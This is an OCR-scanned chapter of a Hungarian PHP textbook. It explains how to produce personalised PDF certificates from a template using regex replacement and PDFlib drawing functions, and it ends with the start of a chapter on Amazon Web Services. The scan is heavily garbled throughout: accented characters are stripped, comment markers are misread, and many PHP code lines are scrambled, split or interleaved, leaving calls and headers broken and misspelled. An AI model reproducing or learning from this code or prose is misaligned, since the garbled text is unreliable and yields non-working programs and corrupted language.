//rvid vltoznevek ltrehozsa $nev = $_POST['nev']; $teszteredmeny = $ POST['teszteredmeny']; function pdf_csere($minta, $csere, $string) $hossz = strlen( $minta ); $regkif ''; $i<$hossz; $i++)

for ($i = O; if

$regkif .= $minta[$i]; ($i<$hossz-1) { $regkif .= "(\)\-{0,1)[0-9]*\(){0,1)";

return ereg replace ( $regkif, $csere, $string );

if(!$nev

l l

!$teszteredmeny) {

echo "<h1>Hiba:</h1> <p>Az oldal meghivsa nem sikerlt.</p>"; else

ll hozzuk ltre a fejlcet, hogy segitsnk a bngsznek ll a megfelel alkalmazst kivlasztani!


header('Content-Dispasition: filename=okl.pdf'); header('Content-type: application/pdf');

32

$datum = date('F d, Y');

ll sablonfjlunk megnyitsa
$fajlnev = 'PHPOklevel.pdf'; $fp = fopen ($fajlnev, 'r');

ll sablon beolvassa vltozba


$kimenet = fread($fp, filesize($fajlnev)); fclose ($fp);

ll cserljk ki a sablon helykitltit sajt adatainkkal!


$kimenet $kimenet $kimenet $kimenet pdf_csere('<<NAME>>', strtoupper($nev), $kimenet); pdf_csere('<<Name>>', $nev, $kimenet); pdf_csere('<<score>>', $teszteredmeny, $kimenet); pdf csere('<<mm/dd/yyyy>>', $datum, $kimenet);

ll az elllitott dokumentum kldse a bngsznek


echo $kimenet; ?>

Ez a kd a PDF perszonalizlr vltozatt llrja el. A 32.6 brn lthat dokumentum szinte brmilyen rendszeren ugyan olyan nyomatot eredmnyez, s valamivel nehezebben mdosthat, illetve szerkeszthet. Lthatjuk, hogy tum majdnem tkletesen gy nz ki, mint a 32.5 brn lv RTF formtum.
A mdszernek az egyik hibja, hogy a kd a regulris kifejezsek illesztse miatt elg lassan fut le. A regulris kifejezsek
ez

a PDF dokumen

sokkal tbb idr ignyelnek, minr az RTF verzinl hasznlhat str_replace() fggvny. Ha sok helykitltt kell doku mentumainkban lecserlni, vagy nagy szm dokumentumot kivnunk ltrehozni ugyanazon a kiszolgln, akkor rdemes

Perszonalizlt PDF dokumentumok ellltsa

553

ms megkzeltst vlasztani. Egyszerbb sablonok esetn ez kevsb problms, ebben a fjlban is a kpeket jelkpez adatok teszik ki az llomny nagy rszt.

tt
32.6 bra: A pdf. php kd PDF sablonbl lla el az oklevelet.

PDF dokumentum ellltsa PDFlib fggvnyekkel


A PDFlib knyvtrral dinamikusan hozhatunk ltre PDF dokumentumokat az interneten. Szigoran nzve nem a PHP rsze, hanem klnll knyvtr, amely szmtalan, klnbz programozsi nyelvekbl meghvhat fggvnyt tartalmaz. A knyvtr hasznlathoz szksges fellet (language binding) a C, C++,Java, Perl, Python,Tcl s ActiveX/COM nyelvhez rhet el. A PDFliber hivatalosan a PDF!ib GmbH tmogatja. Ez azt jelenti, hogy vagy a PHP dokumentcijban (http://www.php. n et/ en/ manual/ ref.pdf.php ) , vagy a http:/ /www.pdflib.com oldalrl letlthet hivatalos dokumentciban tallunk bvebb informcit.

32

"Hell, vilg!'' kd PDFlib fggvnyekkel


Ha a PDFlib knyvtrt bekapcsolva teleptettk a PHP-t, akkor a 32.5 pldakdban lthat, egyszer.Hell, vilg!" program mal tesztelhetjk a knyvtr mkdst. 32.5 pldakd: tesztpdf. php-A klasszikus "Hell, vilg!" plda a PDFlib PHP-n keresztli hasznlatra
<?php

ll pdf dokumentum ltrehozsa a memriban


$pdf = pdf_new(); pdf_open_file($pdf, pdf_set_info($pdf, pdf_set_info($pdf, pdf_set_info($pdf, pdf set info($pdf, ""); "Szerz", "Cm", "Luke Welling s Laura Thomson"); vilg! (PHP)"); "tesztpdf.php");

"Hell,

"PDF ltrehozja", "Trgy",

"Teszt PDF"); 297 azaz 595 842 pont

ll az A4-es paprmret 210


pdf_begin_page($pdf, 595,

mm,

842);

ll knyvjelz hozzadsa
pdf_add_bookmark($pdf,

'1. oldal',

O, 0);
'host', 0);

$betutipus = pdf_findfont($pdf, pdf setfont($pdf, $betutipus,

'Times-Roman', 24);

554

32. fejezet

pdf set_text_pos($pdf,

50,

700);

ll szveg rsa
pdf_show($pdf, 'Hell, vilg!'); pdf_continue_text($pdf,'(mondja a PHP)');

ll dokumentum vge
pdf_end_page($pdf); pdf_close($pdf); $adat = pdf_get_buffer($pdf);

ll hozzuk ltre a fejlcet,


header('Content-Type:

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


applicationlpdf'); inline; filename=tesztpdf.pdf'); header('Content-Disposition: header('Content-Length:

' . strlen($adat));

ll PDF kimenet ltrehozsa


echo $adat;
?>

Ha a kd nem mkdik, akkor nagy valsznsggel az albbi hibazenetet fogjuk ltni:


Fatal error: Call to undefined function pdf new() in C:\Program Files\Apache Software Group\Apache2.2\htdocs\php_es_mysql\32 fejezet\tesztpdf.php on line 4

vagyis

32

Vgzetes hiba:

A pdf_new() nev nem definilt fggvny hvsa

a C:\Program Files\Apache Software Group\Apache2.2\htdocs\php_es_mysql\32 fejezet\tesztpdf.php fjl 4. sorban

Ez az zenet azt jelenti, hogy vagy nem teleptettk a PDFlib kiterjesztst, vagy nem kapcsoltuk be a PHP-ben. A telepts folyamata viszonylag egyrtelm, m nhny rszlete az ltalunk hasznlt PHP s PDFlib konkrt verzijrl fgg. Rszleres utastsokat tallunk az online PHP kziknyv jegyzetekkel elltott vltozatnak a PDFlib knyvtrral foglal koz oldaln, ahol hasznos felhasznli megjegyzseket is olvashatunk. Ha a kd megfelelen fut rendszernkn, rdemes megvizsglni a mkdst. A
$pdf = pdf_new(); pdf open_file($pdf, "");

sorok hozzk ltre a memriban a PDF dokumentumot. A pdf _set_info( ) fggvnnyel cmkket adharunk a dokumentumnak: trgy, cm, a PDF ltrehozja, szerz, a kulcssza vak listja, illerve egy egyni, a felhasznl ltal definilt mez. A kdban a szerzt, a cmer, a fjl ltrehozjt s a trgyat adtuk meg. rdemes megjegyezni, hogy rnind a hat informcis mez opcionlis:
pdf set info($pdf, pdf set_info($pdf, pdf_set_info($pdf, pdf set info($pdf, "Szerz", "Cm", "Luke Welling s vilg! Laura Thomson"); "Hell, (PHP)");

"PDF ltrehozja", "Trgy",

"tesztpdf.php");

"Teszt PDF");

Minden PDF dokumentum adott szm oldalbl ll. j oldal megkezdshez a pdf_begin_page () fggvnyt kell meg hvni. A pdf _open ( ) ltal visszaadott azonost mellett az oldal mrett kell a fggvnynek paramce(knt tadni. A doku mentum akr minden oldala klnbz mret lehet, de ha nincs valami klnleges oka, akkor rdemes egysges paprrnretet hasznlni. A PDFlib pontokban szmolja gy az oldalmretet, mint az egyes oldalon lv koordintkat. Az A4-es oldal krlbell 595
x

842, az amerikai szabvnyknt elterjedt letter mret 612 595,


842);

792 pont. Ez azt jelenti, hogy a

pdf begln page($pdf,

sor egy A4-es mret oldalt hoz ltre a dokumentumban.

Perszanalizlt PDF dokumentumok ellltsa

555

PDF dokumentumokat nem csupn nyomtatsi clbl kszchetnk. Olyan PDF funkcikat is tarcalmazhatnak, mint pl dul a hiperhivatkozsok s a knyvjelzk. A pdf_add_outline{) fggvny knyvjelzt ad a dokumentumhoz. A knyvjel zk az Acrobat Readernek a dokumentumtl elklntett paneljn jelennek meg, s lehetv teszik, hogy egybl a hivatkozott rszre ugorjunk. A
pdf_add_bookmark{$pdf,

'l oldal', O,

0);

sorl. oldal felirat, az aktulis oldalra mutat knyvjelzt ad dokumentumunkhoz. Az elrhet bettpusok kre opercis rendszerenknt, st akr szmtgpenknt is eltrhet. A rninden krlmnyek kzte egyformn megjelen kimenet rdekben olyan alap bettpusokat rdemes hasznlni, amelyek rninden PDF-olvasban megfelelen mkdnek. A tizenngy ilyen alaptpus a kvetkez: Courier Courier-Bold Courier-Oblique Courier-BoldOblique Helvetica Helvecica-Bold

Helvetica-Oblique Helvetica-BoldOblique Times-Roman Times-Bold Times-Icalic Times-Boiditalic

Symbo! ZapfDingbats

Az ettl eltr bettpusokat begyazhatjuk a dokumentumokba, m ez egyrszt nveli a fjlmretet, msrszt pedig nem mindegy, hogy rnilyen licenccel rendelkeznk az adott bettpusra vonatkozan. A kvetkezkppen vlaszthatjuk ki a bett pusr, mrett s karakcerkdolst:
$betutipus = pdf_findfont($pdf, 'Times-Roman', 'host',

0);

32

pdf_setfont{$pdf, $betutipus, 24);

A betrnretet pontokban adjuk meg. Pldnkban host tpus karakterkdolst vlasztottunk. A lehetsges rtkek a winansi, a b uiltin, a macroman, eur jelet) hasznlja.
bui l tin -A bettpusba beptett kdolst hasznlja. lcalban nem latin betcpusoknl, valamint szimblumoknl
az

ebedic s a host. Ezek

az

rtkek az albbi jelentssei brnak:


az

winansi-Az ISO 8859-1 karakterkszletet, illetve a Microsoft ltal hozzadott klnleges karaktereket (pldul

vlasztjuk ezt a belltst.


macroman-Mac Roman kdolst hasznl. Macintosh alatt ez az alaprtelmezett karakterkszlet. ebedic-Az IBM AS/400 rendszereken hasznlt EBCDIC karakterkszletet hasznlja. host- Macintosh alatt automatikusan a macroman, EBCDIC-alap rendszer esetn az ebedic, minden ms rend

szeren a winansi lehetsget vlasztja. Egy PDF dokumentum nem olyan, rnint egy HTML vagy egy szvegszerkesztben ellltott. A szveg nem fog automa tikusan az oldal bal fels sarkban kezddni s magtl sorokra trni. Magunknak kell meghatrozni, hogy hova helyezzk az egyes szvegsorokat. Ahogy mr jeleztk, a PDF pontokban hatrozza meg az oldalon belli helyeket. Az orig (a (O, O) koordinta) Mivel
az az x, y

oldal bal als sarkban tallhat.


x

oldalmtet 595

842 pont, az (50, 700) pont a lap bal szltl krlbelll,6 centimterre, fellrl pedig 5 centi 50, 700);

mterre helyezkedik el. Az albbi kdsorral lltjuk be erre a pontea a szveg helyt:
pdf_set_text_pos{$pdf,

Az oldalbellts utn vgre szveget is rhatunk r. A pdf_show{) fggvnyt meghvva rhatunk a kivlasztott bettpus sal
az

oldal aktulisan megadott pontjra. A

pdf_show($pdf, 'Hell, vilg!'); " sor a,.Hell, vilg! szveget adja a dokumentumhoz.

Ha szecetnnk a kvetkez sorba tovbbi szvegec rni, a pdf_continue_text{) fggvnyt kell meghvnunk. A ,.{
mondja a PHP)"karakcerlncot a pdf_continue_text{$pdf,'{- mondja a PHP)');

fggvnnyel tudjuk a szveghez adni.

556

32.fezer

Ennek a sornak a ponros helye a kivlasztott bettpusrl s -mrettl fgg. Ha sorok vagy kifejezsek helyett folyamaros bekezdseker szerernnk rni, akkor hasznljuk inkbb a pdf _show_boxed() fggvnyt, amelyben megadharunk egy szveg dobozt, amibe a szveget szeretnnk folyatni! Miutn hozzadtuk az oldalhoz annak teljes tattalmt, a pdf_end_page () fggvnyt kell meghvnunk:
pdf_end_page($pdf);

Ha elkszltnk a teljes PDF dokumenrummal, be kell zrnunk a pdf_elose () fggvnnyeL A


pdf_close($pdf);

sorral r vget a.Hell, vilg!" dokumentum ltrehozsa. Most mr elkldherjk a ksz PDF-er a bngsznek:
$adat = pdf_get_buffer($pdf);

ll hozzuk ltre a fejlcet,


header('Content-Type:

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


application/pdf'); inline; filename=tesztpdf.pdf'); header('Content-Disposition: header('Content-Length:

' . strlen($adat));

ll PDF kimenet ltrehozsa


echo $adat;

Ha gy tetszik, merevlemezre is rhatjuk az adatot. Ezt gy tehetjk meg, hogy a pdf_open_file () fggvnynek msodik paramterknt radunk egy fjlnever. rdemes megemlteni, hogy a PHP kziknyvben opcionlis PDF!ib fggvnyparamterknt dokumentlt paramterek a PDF!ib egyes verziiban ktelezk is lehetnek. Az oklevl dokumentuma viszonylag bonyolult, szeglye, vektoros s pixel grafikus kpet egyarnt tartalmaz.A korbban hasznlt kt mdszernl ezek egy szvegszerkesztvel knnyen hozzadhark a dokumenrumhoz. PDF!ib fggvnyek hasznlata esetn sajt kezleg kell ezeket az oldalhoz hozzadnunk.

32

Az oklevl ellltsa PDFlib fggvnyekkel


A PDF!ib fggvnyek hasznlarakor bizonyos kompromisszumokra knyszerlnk.Br szinte egy
az

egyben le tudnnk m

solni a korbban hasznlt oklevelet, rengeteg erfesztsnkbe kerlne az egyes dsztelemek ellltsa s elhelyezse, mikz ben olyan szvegszerkeszrvel, minr pldul a Microsoft Word, gyerekjtk a dokumentum elksztse. A korbban ltott szveger szeretnnk hasznlni, illerve meg akarjuk jelenteni a dszszalag vekroros grafikjr s a pixelgra fikus alrsr is, de a dszszegly ellltsrl elrekintnk.A 32.6 pldakdban talljuk a PDF fjlt elllr teljes kdot. 32.6 pldakd: pdflib.php-Az oklevl ellltsa PDFlib fggvnyekkel
<?php

ll rvid vltoznevek ltrehozsa


$nev =$ POST['nev']; $teszteredmeny
=

$ POST['teszteredmeny'];

if(!$nev

l l

! $teszteredmeny) {

echo "<hl>Hiba:</hl> <p>Az oldal meghvsa nem sikerlt. </p>"; else

{
=

$datum

date('Y.m.d.');

ll pdf dokumentum ltrehozsa a memriban


$pdf
=

pdf new(); "");

pdf_open_file($pdf,

ll a bettpus nevnek belltsa


$betutipus neve = 'Times-Roman';

Perszonalizlt PDF dokumentumok ellltsa

557

ll oldalmret belltsa pontokban s az oldal ltrehozsa ll az A4-es lap 595 $szelesseg = 842; $magassag
= x

842 pont

595; $szelesseg, $magassag);

pdf_begin_page($pdf,

ll szeglyek rajzolsa $margo = 20; $szegely = ll a szegly s a lap szle kztti tvolsg ll a szegly f vonalnak vastagsga

10;

$terkoz = 2;

ll a vastag s a vkony szeglyek kztti tvolsg

ll kls szegly rajzolsa pdf_rect($pdf, $margo-$terkoz, $margo-$terkoz, $szelesseg-2*($margo-$terkoz), $magassag-2*($margo-$terkoz)); pdf_stroke($pdf);

ll a $szegely pont vastagsg f szeglyvonal rajzolsa pdf_setlinewidth($pdf, pdf_rect($pdf, $szegely);

$margo+$szegelyl2, $margo+$szegelyl2, $szelesseg-2*($margo+$szegelyl2), $magassag-2*($margo+$szegelyl2));

pdf_stroke($pdf); pdf_setlinewidth($pdf, 1.0);

ll bels szegly rajzolsa pdf_rect($pdf, $margo+$szegely+$terkoz, $margo+$szegely+$terkoz, $szelesseg-2*($margo+$szegely+$terkoz), $magassag-2*($margo+$szegely+$terkoz)); pdf stroke($pdf);

32
\.

ll fcm hozzadsa $betutipus = pdf_findfont($pdf, if ($betutipus) $betutipus_neve, 'host', 0);

{
$betutipus, 48);

pdf_setfont($pdf,

Sstartx = ($szelesseg - pdf stringwidth($pdf, $betutipus, pdf_show_xy($pdf, '12'))12; $startx,

'PHP oklevl',

'PHP oklevl',

490);

ll szveg hozzadsa $betutipus = pdf_findfont($pdf, if ($betutipus) $betutipus_neve, 'host', 0);

{
$betutipus, 26);

pdf_setfont($pdf,

$startx

70; 'Ez a dokumentum tanstja, strtoupper($nev), hogy', 391); $startx, 430);

pdf_show xy($pdf, pdf_show_xy($pdf,

$startx+90,

$betutipus = pdf_findfont($pdf, if ($betutipus)

$betutipus_neve,

'host',

0);

558

32. fejezet

pdf_setfont($pdf,

$betutipus,

20);

pdf_show_xy($pdf, 340); pdf_show_xy($pdf,

'jogosult az oklevlre,

mert tudsrl szmot adott' ,

$startx,

'a hrom krdsbl ll szigor vizsgn.',

$startx,

310);

pdf show xy($pdf,

"$nev vizsgaeredmnye $teszteredmeny". '%.',

$startx,

260);

pdf_show_xy($pdf, pdf_show_xy($pdf, pdf_show_xy($pdf, pdf_show_xy($pdf,

'A vizsgt sszelltotta s felgyelte a ', 'Kpzeletbeli PHP Minst Intzmny', "$datum napjn", 'Kiadta:', $startx, 100); 150);

$startx, 180);

210);

$startx,

$startx,

ll az alrst tartalmaz pixelgrafikus kp hozzadsa


$alairas
=

pdf load_image($pdf,

'png',

'/Program

Files/Apache

Software '');

Foundation/Apache2.2/htdocs/php_es_mysql/32_fejezet/alairas.png', pdf_fit_image($pdf, $alairas, 200, 75, '');

pdf close image($pdf,

$alairas);

ll dszszalag szneinek belltsa


pdf_setcolor ($pdf, pdf_setcolor ($pdf, 'both', 'both', 'cmyk', 'cmyk', 43/255, 1/255, 49/255, 1/255, 1/255, 67/255);

ll sttkk

1/255,

1/255);

// fekete

ll l. szalag rajzolsa
pdf_moveto($pdf, pdf_lineto($pdf, 630, 610, 632, 646, 666, 150); 55); 69); 49); 150);

32

pdf_lineto($pdf, pdf_lineto($pdf, pdf_lineto($pdf,

pdf_closepath($pdf); pdf_fill($pdf);

ll l.

szalag krvonala 630, 610, 632, 646, 666, 150); 55); 69); 49); 150);

pdf_moveto($pdf, pdf_lineto($pdf, pdf_lineto($pdf, pdf lineto($pdf, pdf lineto($pdf,

pdf_closepath($pdf); pdf_stroke($pdf);

ll 2. szalag rajzolsa
pdf_moveto($pdf, pdf_lineto($pdf, pdf lineto($pdf, pdf lineto($pdf, pdf_lineto($pdf, 660, 680, 695, 716, 696, 150); 49); 69); 55); 150);

pdf_closepath($pdf); pdf_fill($pdf);

ll 2.

szalag krvonala 660, 680, 695, 150); 49); 69);

pdf_moveto($pdf, pdf_lineto($pdf, pdf_lineto($pdf,

Pers:z;onalizlt PDF dokumentumok ellltsa

559

pdf_lineto($pdf, pdf_lineto($pdf,

716, 696,

55); 150);

pdf_closepath($pdf); pdf_stroke($pdf); pdf_setcolor ($pdf, 'both', 'cmyk', 1/255, 81/255, 81/255, 20/255); // vrs

//fejrsz rajzolsa csillag_rajzolsa(665, 175, 32, 57, 10, $pdf, true);

//fejrsz krvonala csillag_rajzolsa(665, 175, 32, 57, 10, $pdf, false);

ll az oldal befejezse s a kimenet elksztse


pdf_end_page($pdf); pdf_close($pdf); $adat = pdf_get_buffer($pdf);

ll hozzuk ltre a fejlcet,


header('Content-type:

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


application/pdf'); inline; filename=test.pdf'); header('Content-disposition: header('Content-length: ' .

strlen($adat));

ll PDF kimenet elksztse


echo $adat;

/'

function csillag_rajzolsa($kozeppontx, $ag_merete, $belso_sugar


=

$kozepponty, $pdf,

$agak,

$sugar,

32

$kitoltve)

$sugar-$ag_merete;

for ($i = 0;

$i<=$agak*2;

$i++)

$szog= ($i*2*pi())/($agak*2);

if($i%2)

{
+ +

$x = $sugar*cos($szog) $y = $sugar*sin($szog) else $x

$kozeppontx; $kozepponty;

$belso_sugar*cos($szog) + $kozeppontx;

$y = $belso_sugar*sin($szog) + $kozepponty;

if($i==0) pdf_moveto($pdf, $x, $y);

else if ($i==$agak*2) pdf_closepath($pdf); else

{
$x, $y);

pdf_lineto($pdf,

if($kitoltve) pdf_fill_stroke($pdf); else

pdf_stroke($pdf);

560

32. fejezet

?>
A kddal elllitott oklevelet a 32.7 brn ltjuk. Nagyon hasonl a korbbiakhoz, csak a szeglye egyszerbb, s a szalagon a csillag kicsit mshogy nz ki. Ennek oka, hogy a dszszalagot megrajzolruk, nem pedig meglv grafikt helyeztnk a doku mentumba.

... L ----*
.....

li'iOJ eM. e;;-.!:t3.-:-PHP Certification


This is rocertifythat: JANEOOE

t'.i!

.-:

- Yf

... t.y-"".....-. . .;...- .._.....o!lbru-Jripk.,.,_,.


.... ----....s

ll ll

Tbc-----""lhc
FktioPallao.ti""o!PHPC

.. .NtylO.lOOl..

,.,,

l H' o o.......__

32.7 bra: A pdflib. php kd PDF dokumentumba rajzolja az oklevelet.


Nzzk mosr meg a kd azon rszeit, amelyek eltrnek a korbbi pldkban ltottaktl! A ltogatk sajt adataikat szeremk ltni az oklevlen, ezrt a memriban, nem pedig fjlba rva hozzuk ltre a dokumen

32

tumot. Ha fjlba rnnk, egyedi fjlneveket elllt mechanizmusta is szksgnk lenne, valamilyen mdszerrel meg kellene akadlyoznunk, hogy a felhasznlk hozzfrjenek msok okleveleihez, illetve meg kellene tallni annak a mdjt, hogyan lehet a rgebbi okleveleket trlve szabad terlethez jutni a kiszolgln. Dokumeorum memriban val ltrehozshoz paramterek nlkl hvjuk meg a pdf _new () fggvnyt, majd meghvjuk a pdf _open _file() fggvnyt is, ahogy tettk azt kdunkban is:
$pdf
=

pdf new(); "");

pdf_open_file($pdf,

Az egyszerstett szegly tulajdonkppen hrom keretbl ll: egy vastagabb s kt vkony keretbl, amelyek kzl az egyik a vasrag szeglyen kivl, a msik pedig bell helyezkedik el. A hrom kereter tglalapknt fogjuk megrajzolni. Annak rdekben, hogy a szeglyeket gy helyezzk el, hogy a ksbbiekben egyszeren mdosthassuk az oldalmretet vagy a szeglyek megjelenst, a szeglyek pozcionlsra vltozkat hasznlunk: Sszelesseg s $magassag, illetve
$margo, $szegely s $terko z. A $margo vltozval hatrozzuk meg azt, hogy hny pontnyira van a szegly az oldal

szlrl, a $szegely a legersebb szegly vastagsgt adja meg, a $terkoz pedig a vastag s a vkony szeglyek kztti t volsgot trolja. Ha rajzolrunk mr ms grafikus alkalmazsprogramozsi fellettel (API), a PDF!ib knyvtrral val rajzols nem sok j donsgot tartogat szmunkra. Ha nem olvastuk el a Kpek ellltsa cm 22. fejezetet, rdemes lehet most megtennnk, mert a kpek gd knyvtrral val rajzolsa nagyon hasonl a PDF!ib knyvtrral trtn rajzolshoz. A vkony szeglyek ellltsa gyerekjtk. Tglalapot a pdf_rect ( ) fggvnnyel hozharunk ltre, amely paramterknt a PDF dokumeorum azonostjt, a tglalap bal als sarknak rtkeket:
pdf_rect($pdf, $margo-$terkoz, $szelesseg-2*($margo-$terkoz), $magassag-2*($margo-$terkoz)); $margo-$terkoz,
x

s y koordintjt, illetve a tglalap szlessgt s magas

sgt vrja. Mivel rugalmas kialakits dokumenrumra van szksgnk, a belltott vltozkbl szmtjuk ki ezeket az

A pdf_rect () meghvsa ltrehozza a tglalap alak grbt (path). Az alakzat megrajzolshoz meg kell hvni
apdf_stroke() fggvnyt: pdf_stroke($pdf);

Perszanalizlt PDF dokumentumok ellltsa

561

setlinewidth()

A kzps,vastag szegly megrajzolshoz meg kell adni a vonalvastagsgot. Az alaprtelmezett vastagsg l pont. A pdf_ albbi meghvsa a $szegely rtkre, jelen esetben 10 pontra lltja a vonalvastagsgot:
$szegely);

pdf_setlinewidth($pdf,

A belltott vonalvastagsggal ismt lttehezunk egy tglalapot (a pdf_rect() fggvnnyel),majd meghvjuk a pdf_ stroke() fggvnyt,hogy megrajzolja azt:
pdf_rect($pdf, $margo+$szegely/2, $margo+$szegely/2, $szelesseg-2*($margo+$szegely/2), $magassag-2*($margo+$szegely/2)); pdf_stroke($pdf);

A vasrag vonal megrajzolsa utn ne felejtsk el visszalltani a vonalvastagsgot


pdf_setlinewidth($pdf, 1.0);

pontra:

A pdf_show_xy () fggvnnyel helyezzk el azoklevlen a szvegsorokat. A sarok tbbsgnl bellthat rtket adunk a bal marg x koordintjnak ($startx) , az y koordintt pedig szemmctk alapjn vlaszguk ki. Mivel a cmsort vzszin tesen kzpre szeretnnk igaztani, meg kell llaptani a szlessgt ahhoz, hogy a bal szlt megfelel pozciba helyezhessk. Karakterlnc szlessgt a pdf_stringwidth () fggvnnyel derthetjk ki. A
pdf_stringwidth($pdf, 'PHP oklevl', $betutipus, '12')

fggvnyhvs az adott bettpussal s mretben szedett 'PHP oklevl'szering szlessgt adja vissza. Ugyangy, mnt az oklevl tbbi vltozatban,most is szkennelt kpknt szrjuk be az alrst. Az albbi hrom utasts
$alairas

pdf_load_image($pdf,

'png',

'/Program

Files/Apache

Software '');

Foundaton/Apache2.2/htdocs/php_es_mysql/32_feJezet/alairas.png', pdf_fit image($pdf, $alairas, 200, 75, '');

pdf_close image($pdf,

$alairas);

megnyiga az alrst tartalmaz PNG fjlt, a meghatrozott helyen hozzadja a kpet az oldalhoz,majd bezrja a kpfjlt. A PNG helyett termszetesen ms fjltpust is hasznlhatunk.

Megjegys: Amikor a pdf_load_image() fggvnnyel tltnk be kpet, a fjl teljes elrsi tvonalt meg kell adni. A pl
dban az alairas.pngfjl Windows rendszeren lv elrsi tvonalt ltjuk.

32
'-

Az oklevl PDFlib fggvnyekkel trtn elksztsnek legnehezebb rsze a dszszalag hozzadsa. Azt ugyan nem tehegk meg, hogy automatikusan megnyiguk s beillesztjk a grafikt tartalmaz Windows metafjlt, de alakzatokat tetszs szerint rajzolhatunk. A szalagokat mintz kitlttt alakzatot az albbi kddal rajzolhatjuk meg. A krvonal sznt feketre, a kitltsznt pedig sttkkre lltjuk:
pdf setcolor ($pdf, pdf_setcolor ($pdf, 'both', 'both', 'cmyk', 'cmyk', 43/255, l/255, 49/255, 1/255, 1/255, 67/255);// sttkk 1/255, 1/255);ll fekete

toldal sokszgbl ltrehozzuk az egyik szalagot, majd kitlgk:


pdf_moveto($pdf, pdf_lineto($pdf, pdf_lineto($pdf, pdf_lineto($pdf, pdf_lineto($pdf, 630, 610, 632, 646, 666, 150); 55); 69); 49); 150);

pdf_closepath($pdf); pdf_fill($pdf);

Mivel krvonalat is szeretnnk a sokszg kr,megint ltre kell hozni ugyanazt a grbt, de ezttal a pdf_stroke (),nem pedig a pdf_fill() fggvnyt hvjuk meg r. A sokg csillag bonyolult, ismtld alakzat, fggvnyt rtunk a grbe pozcijnak kiszmtsra. Fggvnynk neve csillag_raj zolsa (),s paramterknt a csillag kzppontjnak x s y koordintjt, gainak szmt, sugart s hosszt, a PDF dokumentum azonostjt, illetve egy Boole-i rtket vr, amely azt hatrozza meg, hogy ki legyen tltve a csillag,vagy csupn krvonala legyen.

562

32. fejezet

A csillag_ raj zolsa () fggvny trigonometriai szmtsokkal hatrozza meg a csillag cscsainak helyt. Ahny g csillagot szecetnnk rajzolni, annyi pontot kapunk a csillag kzppongtl sugrnyi tvolsgra, s ugyanennyi pontot egy olyan kisebb krn, amely a kls (a sugr ltal meghatrozott) krtl az $ag_mere te tvolsgra van. A kt krn lv pontokat egy-egy vonallal kgk ssze. rdemes megjegyezni, hogy a PHP trigonometrikus fggvnyei, gy pldul a cos () s a sin() fokok helyett radinban szmol. Egy megfelel fggvnnyel s nmi matematikai szmolssal pontosan elllthacunk akr bonyolultabb ismtld alakzato kat is. Ha kifinomultabb szeglye szecetnnk adni az oldalhoz, hasonl mdszerrel azt is megrehetnnk. Ha az oklevl sszes elemr elksztettk, be kell zrnunk az oldalt s a dokumentumot.

Fejlcekkel kapcsolatos problmk kezelse


A fenti kdokban szerepl apr, de fontos dologra szecetnnk felhvni a figyelmet: tudatni kell a bngszvel, hogy milyen t pus adatot kvnunk kldeni neki. A tartalomtpus HTTP fejlc elkldsvel tehegk ezt meg, pldul gy:
header('Content-type: application/sword);

vagy
header('Content-type: application/pdf');

Nem rt tudni azt sem, hogy a bngszk nem egysges mdon kezelik ezeket a fejlceket. Elssorban az Internet Explorer hajlamos gy dnteni, hogy figyelmen kvl hagyja a MIME-tpust, s megksrli automatikusan meghatrozni a f:ijltpust. (Az Internet Explorer jabb verziiban javulni ltszik a helyzet, gy ha ilyen problmt tapasztal unk, a legegyszerbb megolds bngsz nk frisstse lehet.) Egyes fejlcek problmkat okoznak munkamenec-vezrls esetn. Tbbflekppen orvosolhatjuk ezeket. Mi szemly szerint azt tapasztaltuk, hogy a
POST

paramterek vagy a munkamenec-vlcoz paramcerei helyett GET paramtereket hasznlva

megolddik ez a problma. Egy msik lehetsges megolds, ha nem online PDF-et hasznlunk, hanem letltegk a dokumen tumot a felhasznlval, ahogy tettk azt a,.Hell, vilg!" PDFlib-pldban. gy is elkerlhegk a problmkat, ha kiss eltr verzikban hozzuk ltre kdunkat, s a leginkbb eleerjedt bngszkre optimalizljuk az egyes vltozatokat.

32

A projekt tovbbfejlesztse
Ha valamivel komolyabb tennnk a pldban szerepl vizsgt s rtkelst, akkor sokkal szlesebb krben hasznlhatnnk a ki fejlesztett alkalmazst, m clunk jelen esetben csupn az volt, hogy bemutassuk, hogyan lltsunk el sajt dokumentumokat. Az online tadhat perszanalizlt dokumentumok krbe tartoznak pldul a jogi dokumentumok (szerzdsek stb.), a rszben elre kitlttt megrendel- vagy jelentkezsi lapok, illetve a kzintzmnyek ltal hasznlt rlapok.

Hogyan tovbb:
A kvetkez fejezeeben a PHP XML funkciit fogjuk grcs al venni, s arra hasznljuk a PHP-t, hogy REST s SOAP segtsgvel csatlakozzunk az Amazon Web Services API-jhoz.

33
Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel
Az elmlt vekben fontos kommunikcis eszkzz vlt az Extensible Markup Language (kiterjeszther ler nyelv, XML).

Fejezetnkben az Amazon Web Services fellett felhasznlva bevsrlkosarat fejlesztnk honlapunkra, amelynek mgrres feldolgozrendszere (back end) az Amazon lesz. (Alkalmazsuk neve Tahuayo, amely egybknt az Amazonas mellkfolyja.) Kt klnbz, egy SOAP s egy REST alap mdszert hasznlunk. A REST-et XML over HTTP-nek, vagyis HTTP pro tokollon keresztli XML-nek is szoks nevezni. A PHP bepterr SimpleXML knyvtrr, illetve a kls NuSOAP knyvt rat fogjuk ignybe venni e kr mdszer megvalsrsra. A fejezetben az albbi tmakrkkel foglalkozunk: Az XML s a Web Services alapjainak megismerse Az XML hasznlara az Amazonnal val kommuniklsra XML feldolgozsa a PHP SimpleXML knyvrrval Vlaszok gyorsrtrazsa Kommunikci az Amazonnal a NuSOAP knyvtr segtsgvel

A projekt ttekintse: XML s a Web Services hasznlata


